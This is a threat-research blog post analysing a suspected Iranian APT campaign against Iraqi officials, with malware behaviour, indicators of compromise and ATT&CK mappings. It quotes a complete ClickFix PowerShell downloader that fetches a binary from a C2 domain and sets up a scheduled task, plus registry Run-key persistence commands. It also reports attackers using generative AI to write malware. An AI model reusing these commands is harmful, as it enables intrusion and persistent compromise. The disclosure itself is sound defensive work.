IntroductionIn January 2026, Zscaler ThreatLabz observed activity by a suspected Iran-nexus threat actor targeting government officials in Iraq. ThreatLabz discovered previously undocumented malware including SPLITDROP, TWINTASK, TWINTALK, and GHOSTFORM. Due to significant overlap in tools, techniques, and procedures (TTPs), as well as victimology, between this campaign and activity associated with Iran-nexus APT groups, ThreatLabz assesses with medium-to-high confidence that an Iran-nexus threat actor conducted this operation. ThreatLabz tracks this group internally as Dust Specter. As additional high-confidence indicators become available, ThreatLabz will update our attribution accordingly.In this blog post, ThreatLabz examines the technical details of two attack chains: Attack Chain 1, which involves the newly identified SPLITDROP dropper and the TWINTASK and TWINTALK backdoors, and Attack Chain 2, which involves the GHOSTFORM remote access trojan (RAT).Key TakeawaysIn January 2026, ThreatLabz observed activity by a suspected Iran-nexus threat actor, tracked as Dust Specter, targeting government officials in Iraq by impersonating Iraq’s Ministry of Foreign Affairs.Iraq government–related infrastructure was compromised and used to host malicious payloads distributed as part of this campaign.Dust Specter used randomly generated URI paths for command-and-control (C2) communication with checksum values appended to the URI paths to ensure that these requests originated from an actual infected system. The C2 server also utilized geofencing techniques and User-Agent verification.ThreatLabz observed several fingerprints in the codebase indicating that Dust Specter leveraged generative AI for malware development.ThreatLabz identified two attack chains with different previously undocumented malware tooling. The first attack chain includes SPLITDROP, a .NET-based dropper that drops TWINTASK and TWINTALK to continue the next stage of the attack.The second attack chain uses GHOSTFORM, a .NET-based RAT that consolidates all the functionality of the first attack chain into one binary and uses in-memory PowerShell script execution.GHOSTFORM uses creative evasion techniques such as invisible Windows forms along with timers to delay its own execution.ThreatLabz attributes this campaign to Dust Specter with moderate confidence, based on the code, victimology, and TTP overlaps.Technical AnalysisThe following sections cover Attack Chain 1 and Attack Chain 2, which ThreatLabz observed in-the-wild during this campaign. Attack Chain 1 uses a split architecture with two components, a worker module (TWINTASK) and a C2 orchestrator (TWINTALK), that coordinate through a file-based polling mechanism. Attack Chain 2 consolidates the same functionality into a single binary (GHOSTFORM).Attack Chain 1Attack Chain 1 is delivered in a password-protected RAR archive named mofa-Network-code.rar. The password for this archive is: 92,110-135_118-128. A 32-bit .NET binary, disguised as a WinRAR application, is present inside this archive and starts the attack chain on the endpoint. This binary functions as a dropper and ThreatLabz named it SPLITDROP because it drops two modules that we named TWINTASK and TWINTALK. SPLITDROPUpon being launched, SPLITDROP displays a dialog box prompting the victim to enter a password to extract an archive file. SPLITDROP checks for the presence of C:\ProgramData\PolGuid.zip; if the file already exists, SPLITDROP does not continue execution. If the file does not exist and the correct password is entered in the password form, SPLITDROP proceeds to decrypt an embedded resource named CheckFopil.PolGuid.zip. Before decrypting the resource, SPLITDROP displays a message box stating, “The download did not complete successfully,” to distract the victim while it operates in the background.Because the embedded resource is encrypted using AES-256 in CBC mode with PKCS7 padding, SPLITDROP derives the salt, initialization vector (IV), and ciphertext as follows: the first 16 bytes of the embedded resource are used as the salt,the next 16 bytes are used as the IV,and the remaining bytes are the ciphertext.A key derivation function (KDF) is then used to derive the encryption key from the password entered by the victim in the password form. The KDF uses PBKDF2 with HMAC-SHA1 as the pseudorandom function, 10,000 iterations, and a 256-bit key size. The decrypted resource is written to the archive file at C:\programData\PolGuid.zip, and the contents of the ZIP archive are extracted to C:\programData\PolGuid\.The figure below shows the directory structure after extraction.Figure 1: Contents of C:\programData\PolGuid\ after extraction.Finally, a legitimate VLC.exe (the popular open source media player) binary is executed from C:\programData\PolGuid\VLC\VLC.exe to continue to the next stage of the attack chain.TWINTASKUpon being launched, VLC.exe sideloads the malicious DLL libvlc.dll which was extracted alongside VLC.exe in the same directory by SPLITDROP. ThreatLabz named this malicious component TWINTASK. TWINTASK functions as a worker module, and its main purpose is to poll a file for new commands available for execution and run them using PowerShell. TWINTASK enters an infinite loop and performs the following actions every 15 seconds: It polls C:\ProgramData\PolGuid\in.txt to determine whether the file is empty.If the file is empty, TWINTASK continues monitoring the contents every 15 seconds until data is present.If the file is not empty, TWINTASK reads the file contents and Base64-decodes them while skipping the first character of the text (which appears to have no significance other than to break naive Base64-decoding attempts), then instantiates PowerShell to execute the decoded script asynchronously with a 600-second timeout. TWINTASK captures the script output and any errors in C:\ProgramData\PolGuid\out.txt.Persistence and C2 orchestrator launchWhen TWINTASK is launched, in.txt comes prepopulated with commands that are used to establish persistence on the machine and initiate the next stage of the attack chain. Below are the initial decoded contents of in.txt.”C:\ProgramData\PolGuid\WingetUI\WingetUI.exe”;New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -Name ‘VLC’ -Value ‘C:\ProgramData\PolGuid\VLC\vlc.exe’ -PropertyType String;New-ItemProperty -Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ -Name ‘WingetUI’ -Value ‘C:\ProgramData\PolGuid\WingetUI\WingetUI.exe’ -PropertyType String;Below are the key functions of the PowerShell script that TWINTASK runs on first launch:Executes the binary WingetUI.exe from C:\ProgramData\PolGuid\WingetUI\WingetUI.exe.Creates the Windows registry name VLC under the key HKCU:\Software\Microsoft\Windows\CurrentVersion\Run for persistence and sets the value to C:\ProgramData\PolGuid\VLC\vlc.exe to ensure vlc.exe is launched upon system restart and thereby sideloads the malicious DLL, libvlc.dll, to start TWINTASK.Creates the Windows registry name WingetUI under the key HKCU:\Software\Microsoft\Windows\CurrentVersion\Run and sets the value to C:\ProgramData\PolGuid\WingetUI\WingetUI.exe to ensure that the binary WingetUI.exe is launched upon system restart.TWINTALKOnce WingetUI.exe (a legitimate graphical interface application for package managers) is launched by the worker module, it sideloads the malicious DLL hostfxr.dll that is present alongside WingetUI.exe in the same directory. ThreatLabz named this malicious component TWINTALK.TWINTALK is a 32-bit .NET DLL and functions as a C2 orchestrator whose main purpose is to poll the C2 server for new commands, coordinate with the worker module, and exfiltrate the results of command execution to the C2 server. The C2 orchestrator works in parallel with the previously described worker module to implement a file-based polling mechanism used for code execution.Upon execution, TWINTALK enters a beaconing loop and delays execution by a random interval before polling the C2 server for new commands. It uses a preconfigured base delay of 120 seconds with jitter that randomizes the delay by generating a random number between -10% and +50% of the base delay (108 seconds to 180 seconds). To implement the delay, TWINTALK creates a nonsignaled unnamed event object using CreateEvent and calls WaitForSingleObject with the randomized delay value calculated above. If the event object cannot be created, TWINTALK falls back to Thread.Sleep() to create the delay. TWINTALK then sends a GET request to the C2 server with the parameters listed in the table below.ParameterDescriptionURI pathFor each request, TWINTALK constructs a unique URI path at runtime to evade pattern-based detections. It generates a random 10-character hex string ([0-9a-f]), computes a 6-character checksum (of the 10-character hex string) using a custom algorithm seeded with 0xABCDEF, and concatenates them. The checksum allows the C2 to verify the request is from a valid bot rather than a URL analysis engine. User-AgentTWINTALK uses a hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 to mimic legitimate browser traffic. Authentication tokenTWINTALK generates a JSON Web Token (JWT) at runtime and sends it in the Authorization: Bearer header; the JWT iat (issued at) field stores the bot ID and bot version, as shown in the code example below.Table 1: Description of HTTP request headers and URI format used by TWINTALK.{“iat”:
Use of Generative AI for Malware DevelopmentDuring the decompilation of TWINTALK and GHOSTFORM, ThreatLabz identified the use of emojis and unicode text in the codebase. This unusual coding style strongly suggests that generative AI tools were utilized during the malware’s development, and is a trend documented in other campaigns.Below is the code used to truncate the data sent in the POST request, which includes emojis.private string set_in_measure(string data)
{
int num = 900000;
if (data == null)
{
this.is_error = true;
return “⚠️”;
}
if (data.Length
ClickFix AttackThreatLabz found that the TWINTALK C2 domain, meetingapp[.]site, was also used by Dust Specter in July 2025 to host a web page disguised as a Cisco Webex meeting invitation. The web page included a link to download the legitimate Cisco Webex software and prompted the victim to choose the “Webex for Government” option. The web page also lures the victim into following the instructions shown in the figure below to retrieve the meeting ID.Figure 3: Example ClickFix social engineering lure used by Dust Specter.These instructions are a typical social engineering method employed by threat actors to implement ClickFix-style attacks. Below is the PowerShell command provided on the web page.$di=’C:\ProgramData\WinWebex’;md $di 2>””;$path=$di+’\WinWebex.exe’;Add-Type -A System.Net.Http;$c=New-Object System.Net.Http.HttpClient; $c.DefaultRequestHeaders.UserAgent.ParseAdd(‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0’);[IO.File]::WriteAllBytes($path, $c.GetAsync(‘https://meetingapp.site/webexdownload’).Result.Content.ReadAsByteArrayAsync().Result); $c.Dispose();Register-ScheduledTask -TaskName winWebex -Action (New-ScheduledTaskAction -Execute $path) -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Hours 2) -RepetitionDuration ([TimeSpan]::FromDays(9999))) -Settings (New-ScheduledTaskSettingsSet -ExecutionTimeLimit (New-TimeSpan -Seconds 0)) -Force; Start-ScheduledTask -TaskName winWebex;exit;The PowerShell command will:Create the directory C:\ProgramData\WinWebex.Send a GET request to hxxps://meetingapp[.]site/webexdownload with the User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 to download the malicious binary to the path C:\ProgramData\WinWebex\WinWebex.exe.Create a scheduled task with the name winWebex set to launch every 2 hours to execute the malicious binary in the location C:\ProgramData\WinWebex\WinWebex.exe.At the time of analysis, ThreatLabz was not able to retrieve the malicious binary from the hxxps://meetingapp[.]site/webexdownload URL.Threat AttributionThreatLabz attributes this campaign to Dust Specter with moderate confidence, based on the code, victimology, and TTP overlaps described below.Victimology: Iraq’s government sector, particularly the Ministry of Foreign Affairs, has been targeted in the past by Iran-nexus threat actors such as APT34. In this campaign, the social engineering lures and archive filenames strongly suggest the intended targets are government officials within, or affiliated with, Iraq’s Ministry of Foreign Affairs.Tooling: The following tooling observations are consistent with Iran-nexus threat actors.The use of custom lightweight .NET backdoors with no code obfuscation are a hallmark feature of several Iran-linked APT groups.The use of only three C2 commands, code execution, file download, and file upload, was consistently observed across multiple custom .NET malware families used by Iran-linked APT groups such as APT34.While not unique to APT34, Iran-nexus threat actors have been observed smuggling C2 commands and victim identifiers inside HTTP headers in C2 communications. In this campaign, ThreatLabz observed the bot ID and bot version being sent inside the iat field of the JWT in the HTTP request headers.Using compromised Iraqi government infrastructure for malicious operations is a tactic previously used by Iran-linked APT groups such as APT34, including in 2024. In this campaign, the legitimate Iraqi government website ca.iq was compromised and used to host the malicious archive containing GHOSTFORM.Lures: The following lures align with social engineering techniques used by Iran-nexus threat actors.The use of fake meeting invitations is used by several Iran-linked APT groups. In this case, Dust Specter lured the victim by creating web pages masquerading as Cisco‘s “Webex for Government” meeting invite.While the ClickFix social engineering technique is not unique to Iran-linked APT groups, Dust Specter incorporated ClickFix into their arsenal in the recent past.Generative AI for malware development: Generative AI has been quickly adapted by several threat actors and recent reports from AI vendors indicate that Iran-linked APT groups have integrated AI in their attack lifecycle.ConclusionThis campaign, attributed with medium-to-high confidence to Dust Specter, likely targeted government officials using convincing social engineering lures impersonating Iraq’s Ministry of Foreign Affairs. ThreatLabz identified previously undocumented lightweight custom .NET-based droppers and backdoors used in this operation. The activity also reflects broader trends, including ClickFix-style techniques and the growing use of generative AI for malware development.Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels.Win32.Dropper.SPLITDROPWin32.Trojan.TWINTASKWin32.Backdoor.TWINTALKWin32.RAT.GHOSTFORMIndicators Of Compromise (IOCs)File indicatorsHashesFilenameDescriptionb8254efd859f5420f1ce4060e4796c088621be9e1aa730d1ac8eb06fa8f66d9da70ff293903f7869a94d88d43b9140bb656f7bb86ef725efc78ef2ff9d12fd7c7c2aca74mofa-Network-code.rarPassword-protected RAR archive78275f3fc7e209b85bff6a6f99acc68aFc08f8403849c6233978a363f4cdc58cd70418236bb0d45799076b3f2d7f602b978a0779868fc72a1188374f6919fbbfba23efceCheckFopil.exeDropper (SPLITDROP)d5ddf40ba2506c57d3087d032d733e08682c043443cb81b6c2fde8c5df43333f5d1fec53797325b3c8a9356dcace75d93cb5cfb7847d2049c66772d4cc2cee821618cb96lecGen.exeAttack Chain 2 (GHOSTFORM)8f44262afaa171b78fc9be20a0fb00711debc4c512ded889464e386739d5d2f61b87ff13293ee1fe8d36aa79cf1f64f5ddef402bc6939d229c6fca955c7b796119564779mofa-secret-code-92,110-135_118-128.rarPassword-protected RAR archive19ab3fd2800f62a47bf13a4cc4e4c124c79c261457def606c3393dde77c82832a5c0ded3ad26cd72a83b884a8bc5aaa87309683953e151ebb3fde42eda7bf9a4406e530dlibvlc.dllWorker module (TWINTASK)63702bd6422ec2d5678d4487146ea434c7dff3a0675f330feb9a7c469f8340369451d122f3f2dc31f70a105db161a5e7b463b2215d3cbd64ac0146fd68e39da1c279f7efhostfxr.dllC2 orchestrator (TWINTALK)aa887d32eb9467abba263920e55d6abead97e1bba1d040a237727afdb2787d6867d72b746af71297ce7681e64d9a4c5449a7326f17f3f107cb7940ec5e0840390c457a47in.txtBase64-encoded PowerShell commandb19add5ccaa17a1308993e6f3f786b0651a746c85bd486f223130173b7e674379a51b69469294ad90aeb7f05e501e7191c95beb14e23da5587dd75557c867e2944a57fdcRiroDiog.exeAttack Chain 2 (GHOSTFORM)7f17fa22feaced1a16d4d39c545cdb16369b56a89b2fce2cbdc36f5a23bdec6067242911fa51aff99d86a9f1f65aa0ebbf6ca40411d343cea59370851ab328b97e2164bb893506.zipZIP archive containing Attack Chain 2 (GHOSTFORM)70a9b537b9b7e1b410576d798e6c5043cb1760c90fb6c399e0125c7aa793efe37c4ce533a27d53608ab05b5c7cb86bcf4a273435238beeb7e7efd7845375b2aa765f51e2webInfo.exeAttack Chain 2 (GHOSTFORM)a7561eb023bb2c4025defcfe758d8ac2df04e36c106691f9fe88e5798e4ae86438bd4f1deb5b7275c41de8e98d72696eeac9cba3719f334f8e7974e6b8760ece820b1d0cmofaSurvey_20_30_oct.zipZIP archive containing Attack Chain 2 (GHOSTFORM)809139c237c4062baecab43570060d678735ee29c409b8d101eb3170f011455be41b7a913a66ae5942f6feb79cf81ee70451f761253e0e0bde95f0840abdd42a804fad39file_oct_surv.exeAttack Chain 2 (GHOSTFORM)Network indicatorsTypeIndicatorC2 domainlecturegenieltd[.]proC2 domainmeetingapp[.]siteC2 domainafterworld[.]storeC2 domaingirlsbags[.]shopC2 domainonlinepettools[.]shopC2 domainweb14[.]infoC2 domainweb27[.]infoURL hosting ZIP archive containing Attack Chain 2hxxps://ca[.]iq/packages/mofaSurvey_20_30_oct.zip MITRE ATT&CK FrameworkIDTactic, TechniqueDescriptionT1583.001Resource development, Acquire Infrastructure: DomainsDust Specter acquired multiple domains for C2 operations and hosting ClickFix web pages.T1587.001Resource Development, Develop Capabilities: MalwareDust Specter developed custom droppers and backdoors including SPLITDROP, TWINTASK, TWINTALK, and GHOSTFORM.T1204.004Execution, User Execution: Malicious Copy and PasteDust Specter employs a ClickFix-style attack, using social engineering to manipulate victims into copying and pasting a PowerShell command into the Run dialog.T1112Persistence, Modify RegistryTWINTASK sets up persistence by creating Windows Run registry keys, and pointing them to TWINTASK and TWINTALK.T1205Defense Evasion, Traffic SignalingC2 servers respond only to requests containing a specific hardcoded User-Agent string. The URI path should contain the correct checksum.T1082Discovery, System Information DiscoveryDust Specter sends the systeminfo post-compromise command in response to TWINTALK’s beaconing.T1071.001Command and Control, Application Layer Protocol: Web ProtocolsTWINTALK and GHOSTFORM use HTTPS for C2 communication.T1001.003Command and Control, Data Obfuscation: Protocol or Service ImpersonationTWINTALK and GHOSTFORM use a hardcoded User-Agent string that mimics the Chrome browser. T1132.001Command and Control, Data Encoding: Standard EncodingThe command body in the C2 response and the command execution result in the C2 request are encoded using Base64 with a randomly generated character prepended to it.T1574.002Execution, Hijack Execution Flow: DLL Side-LoadingBoth TWINTASK and TWINTALK are launched using the DLL sideloading technique.T1140Defense Evasion, Deobfuscate/Decode Files or InformationSPLITDROP uses the user-supplied password to decrypt the embedded resource and continue malicious activities.
*** This is a Security Bloggers Network syndicated blog from Security Research | Blog authored by Sudeep Singh (Sr. Manager, APT Research). Read the original post at: https://www.zscaler.com/blogs/security-research/dust-specter-apt-targets-government-officials-iraq